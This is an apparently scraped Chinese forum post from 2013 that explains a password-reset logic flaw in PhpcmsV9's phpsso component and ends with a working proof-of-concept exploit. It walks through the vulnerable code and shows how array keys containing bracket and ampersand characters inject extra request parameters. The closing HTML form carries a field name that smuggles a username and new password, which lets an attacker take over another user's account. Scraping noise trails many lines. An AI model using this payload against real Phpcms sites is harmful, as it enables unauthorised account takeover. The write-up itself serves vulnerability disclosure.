找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1786|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
& r' c- s& I% R3 p( V
/ c, p& _3 B/ l# s; v9 i1 ~
. r' n5 ^: p* D" L, Tparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);* W; K7 i. w; W
% M# Q. T/ n! }' }' f
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
  W0 x5 h8 j; d1 S) D3 W4 u0 m7 b' W+ i$ ?; b' y
我把它留给了你们。
' @; D% c) V3 W8 b7 {3 j' g不知道你们发现了它没有。
. U% U2 v( I; J0 E- W
* C! ^8 ~: S7 n+ E& g" p我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。( m3 b4 m0 x; s
% F& M( I) E2 f+ z$ j; ?
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
, R  I" i& e6 F3 _) z
: ]5 k7 M$ ]' J4 [  F7 C- P0 H/ \. @也就是! Q. A2 m9 |  W5 H
; M# e% J2 Z7 [5 v- x  b
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
! T% v1 ?" T8 t; X0 o2 m* n/ |
# m1 _6 ~4 S- _* @要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。  a' J$ X, X( D9 U2 n; F; @

+ k8 P; {* [/ Q/ [, ]' O, C0 L- f+ I3 S
其实我们有这样的机会,看看代码,如下:: I7 L% f& O; @' S$ f" E

" S1 X, P% b( s) U0 w' P0 s( [! o) F" Y' S
public function auth_data($data) {( l( D' b% a0 P- D; X& B) R( G9 b2 @
                $s = $sep = '';
% d- B0 p- v0 b4 C                foreach($data as $k => $v) {, @1 b' D, i1 C1 k/ a
                        if(is_array($v)) {. B, S3 o7 h1 A" |% j& V1 o- L
                                $s2 = $sep2 = '';
0 [: n7 b& B( p                                foreach($v as $k2 => $v2) {
, {* o0 l8 v5 A9 ]                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);) E5 Y) M3 m& c. @
                                        $sep2 = '&';) L9 D& X. [5 J) H! Y
                                }) |$ M% _$ o  l. L
                                $s .= $sep.$s2;
$ X6 T+ @2 _# [2 B1 [, ?) {/ U6 O                        } else {
: l  m, x( Q7 E                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
' u; k6 l. s( w( g3 T- O; Y- O                        }
- X0 a! a$ B% f* x$ g                        $sep = '&';
. q/ B" {1 I0 k" f- [/ K                }4 }1 J% U9 \. R& J5 ^6 ^9 X

$ x1 e3 L6 I' G# Z4 s( ~1 ~) S                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
- \# n; ?$ C3 m, J1 I8 ?' @. O                return $auth_s;
3 i! W2 p7 H) q        }/ C3 A* O# v3 g" F

) W8 n. E9 C2 _% D' `7 ]' m/ k可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
; T, t3 Y  t7 u  u9 R! z- ]' q5 ?! E  @! m0 F
举个例子& W- {  t6 }6 l+ A6 ]/ Q* ]4 }
) }8 C9 V  P7 `5 k2 y5 L2 w
$a[aaa=a&bbb] = 'a';4 _2 @" Y2 o5 F9 a- R

5 j/ v) W9 [. O1 `会变成aaa=a&bbb=a
! d' w3 Y$ c4 E" h
. ~2 _4 e6 ]; b4 {" E  m$ a3 r明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
  h9 j; z6 O" x! p' c+ m
, E% u; J% ~) }7 r这个时候,我们可以再去看一个函数。
% K" U; {3 j/ x- j# w+ U" O# `3 G% b; y2 _- d
就在这个文件内:4 {' d  a1 V" S$ d) D  K8 v

( C4 t2 m/ {* b9 X/ N+ S
+ }1 X  q! C" a( r3 lpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {0 g8 ?% C/ Q9 e4 P' ^4 v
                if($email && !$this->_is_email($email)) {- c' a# h1 ?6 |6 M# h
                        return -4;
. H' B$ x/ B+ f% k9 i                }$ [1 u% a3 Q( H7 p3 E" L5 M' J9 ^) i
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));7 y/ l$ F8 x4 Z. D
        }( v) U# G% ?6 d2 s

) a" w1 D: z( J, d' i& u) z这是向通行证发了这样一个请求。, T) [. J/ g  p  X' i  M
8 N3 s% `$ Q: w) S
我们再跟到通信证代码里去看看,就会有所发现。9 E, j+ Z# i9 b9 @
! J' Q( U# m9 ~0 d4 U

; I8 h+ E/ y6 n* ]/ zpublic function edit() {2 k, w! {! L$ C( ]; y# F& P' |
//能省就省,太长了不是吗?& n5 V% w! Z: J& E

' t0 l7 F; m: {! aif($this->username) {9 ~5 t1 d6 f- z) Q2 ]
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
% k8 @5 k4 y8 P. E) n+ e. C* e                                $res = $this->db->update($data, array('username'=>$this->username));
" v# H7 Q4 M9 g3 B. D, I                        } else {, O2 [8 B: B$ C1 R* M" B+ {
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);! T: _% P: A  Q- `7 @
                                $res = $this->db->update($data, array('uid'=>$this->uid));
$ b, n. A0 L8 \; m                        }
! Q9 ~% @" \& O+ y6 a- Q" _; N/ H  H/ F! _  J
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:' ?- k0 i9 r8 A4 R$ U
. r. @% @# Z) m4 p
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')0 X& T& G  ?  n, Z, u# ]. f! M9 {( Y7 a

8 I- @# E( {3 h2 V+ ]" _8 p很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。) W" y, b0 D, D4 |9 r- D. J

1 C9 v3 t2 d. I9 v1 _/ T7 F我当然找到了:! z& k* e  U- g; s# I+ f7 ?- [
phpcms9/phpcms/modules/member/index.php8 J$ Y+ X0 K% T# G

5 R0 V0 u: O5 ]' n, |. e, _/ w$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);7 _1 }  ~* p# Z# [; L7 e
. k; M( U3 G* I: C6 \0 d. _  e$ s2 @
然后就没有然后了。
- c) d) `! r: O) |1 r/ \, W  G* s( c& j" x
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">6 L. C% m% ^2 j
                                <table width="100%" cellspacing="0" class="table_form">/ ?6 t' q$ n" O" g2 {' H" H
                                        <tr>& D5 q% C. K- W6 g; I* ~- j
                                                <th width="80">邮箱:</th>        
- ~, |3 n# ?  j1 [  c! ]* D                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
* f2 |5 s6 i+ Z" |4 M+ y( W: @+ j                                        </tr>
/ B7 ]# u$ ]( R) x- n- S& t                                        <tr>* N% \1 F) Q0 I& K0 k1 v, Y
                                                <th width="80">原密码:</th>        - {  E# @, m: a$ s+ D' |
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
$ [9 c$ f8 t6 ^$ I" S  H% k                                        </tr>
9 {+ \; `7 J1 J4 [# n0 v                                        <tr>( r0 R% F5 o6 l
                                                <th>新密码:</th>% s, n3 N: H  B6 L/ S- C
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
& e8 N) y3 A* h7 }. m& m# I                                        </tr>
) O. s- u8 ~. i  H2 A                                        <th></th># x3 n3 E& m4 G1 m- k
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>2 F8 }' J  S- e4 q, m2 F9 X$ t
                                        </tr>; G! Q) R- X. o1 F6 X
                                </table>
; W0 _3 I2 T" Q+ T' \
9 {% ~! B- _" c( r: }0 }                                , a1 p" d  Y5 r! |$ C
                        </form>
* n+ S5 N' D  {$ {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表